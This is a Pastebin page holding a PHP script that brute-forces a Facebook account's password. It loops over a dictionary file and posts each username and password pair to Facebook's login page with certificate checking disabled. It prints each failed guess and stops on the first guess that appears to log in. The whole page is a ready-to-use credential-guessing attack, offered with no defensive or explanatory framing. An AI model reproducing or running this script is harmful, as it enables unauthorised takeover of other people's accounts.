Advertisement
Guest User

cjen

a guest
Apr 3rd, 2017
539
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.67 KB | None | 0 0
  1. ###########################
  2.  
  3. # FaceBook Bruteforce PHP Script
  4.  
  5. ###########################
  6.  
  7. set_time_limit(0);
  8. $username ="brute@force.org"; // username to brute force
  9. $dictionary ="dictionary.txt"; // need dictionary to password list
  10.  
  11. function kontrol($kullaniciadi,$sifre){
  12. $useragent = "Opera/9.21 (Windows NT 5.1; U; tr)";
  13. $data = "email=$kullaniciadi&pass=$sifre&login=Login" ;
  14. $ch = curl_init('https://login.facebook.com/login.php?m&next=http%3A%2F%2Fm.facebook.com%2Fhome.php');
  15. curl_setopt($ch, CURLOPT_HEADER, 0);
  16. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  17. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  18. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  19. curl_setopt($ch, CURLOPT_POST, 1);
  20. curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
  21. curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
  22. curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookie.txt');
  23. curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie.txt');
  24. $source=curl_exec ($ch);
  25. curl_close ($ch);
  26. if(eregi("Home</title>",$source)){return true;} else {return false;}
  27.  
  28. }
  29.  
  30. if(!is_file($dictionary)){echo "$dictionary is not file";exit;}
  31. $lines=file($dictionary);
  32. echo "Attack Starting..<br>";
  33. sleep(10);
  34. echo "Attack Started, brute forcing..<br>";
  35. foreach($lines as $line){
  36. $line=str_replace("\r","",$line);
  37. $line=str_replace("\n","",$line);
  38. if(kontrol($username,$line)){echo "<font face=tahoma color=green>***91;+***93;</font><font face=tahoma> username:$username , password:$line - P
  39. assword found : $line</font><br>";$fp=fopen('cookie.txt','w');fwrite($fp,'');exit;}
  40. else{echo "<font face=tahoma color=brown>***91;-***93;</font><font face=tahoma> username:$username , password:$line - Password not found :
  41. $line</font><br>";}
  42. }
  43. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement